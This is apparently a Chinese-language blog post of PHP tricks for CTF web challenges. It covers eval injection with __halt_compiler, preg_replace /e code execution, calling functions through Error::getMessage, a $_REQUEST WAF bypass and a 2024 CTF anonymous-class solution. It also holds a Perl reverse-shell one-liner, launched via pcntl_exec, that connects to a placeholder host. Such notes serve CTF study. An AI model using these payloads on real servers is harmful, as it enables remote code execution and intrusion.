php_trick

记录php下的小技巧和特性

命令执行中断报错

1
eval($cmd.'aaa');

可以利用__halt_compiler();中断编译器的执行,不让eval报错

$cmd='system("whoami");__halt_compiler();';

preg_replace /e 模式

一部分修正符的含义

1
2
3
4
5
6
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。

preg_replace 使用了 /e 模式,导致了代码可以被执行

1
2
<?php
echo preg_replace("/aa/e","system('whoami');","aa");

注意:php5.5以上版本/e被弃用

Error::getMessage

PHP的内置类 Error::getMessage方法可以返回Error类实例化时接受的字符串

new Error("system")->getMessage就会返回system

例如

1
2
((new $a($aa))->$c())((new $b($bb))->$c());
((new Error('system'))->getMessage())((new $Error('ls'))->getMessage());

pcntl_exec反弹shell

1
pcntl_exec('/usr/bin/perl',['-e','use Socket;$i="ip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};']);

php匿名类

class@anonymous+chr(0)+php文件路径+:+行数$列数

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}

function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

//2024红明谷

直接构造class@anonymous%00/var/www/html/flag.php:7$0即可

或者直接echo urlencode(get_class($a));输出

REQUEST的优先级

1
2
3
4
5
6
7
8
9
10
<?php
function waf($str){
foreach ($str as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf");
}
}
}

waf($_REQUEST);

会同时接收post和get,但优先接收post的参数

所以post发送同名参数后get可以绕过

一些替换

localhost可以代替/进行绕过

php函数小记

1
implode() — 把数组元素组合为一个字符串

php_trick
https://www.dr0n.top/posts/1ac6587f/
作者
dr0n
发布于
2022年8月9日
更新于
2024年4月29日
许可协议